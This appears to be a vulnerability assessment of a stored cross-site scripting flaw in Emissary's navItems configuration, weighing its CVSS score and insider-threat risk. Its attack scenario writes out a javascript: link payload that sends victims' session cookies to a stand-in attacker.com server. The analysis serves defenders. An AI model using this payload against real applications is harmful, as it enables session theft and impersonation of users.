Emissary CVE-2026-35571

This vulnerability presents moderate real-world risk despite the CVSS score of 4.8. The attack vector is network-based with low complexity, but mitigation is provided by two critical constraints: (1) attacker requires high-privilege administrative credentials (PR:H), and (2) exploitation requires user interaction (UI:R-a victim must click or interact with the malicious link). CVSS correctly assesses limited impact (Confidentiality:Low, Integrity:Low, Availability:None) since XSS can exfiltrate session tokens or perform actions on behalf of the victim but cannot directly compromise system availability or gain elevated access beyond what the victim already has. The stored nature of the XSS (persisted in configuration) means all subsequent users remain vulnerable until the configuration is remediated. Risk priority depends on organizational trust model: if administrators are assumed trustworthy, this is lower priority; if insider threats are a concern, this warrants immediate patching. No KEV status or public exploit code is indicated, reducing immediate exploitation pressure.

An insider administrator with legitimate access to modify Emissary's navItems configuration injects a malicious entry such as {"label": "Help", "href": "javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)"}. When other authenticated analysts or operators view the Emissary dashboard and hover over or click the Help link, their browser executes the JavaScript payload in the application's origin, exfiltrating their session cookies to an attacker-controlled server. The attacker can then replay the stolen session tokens to impersonate the victim. No public exploit code is currently identified, and exploitation requires both administrative privilege and user interaction, limiting automated attack scenarios.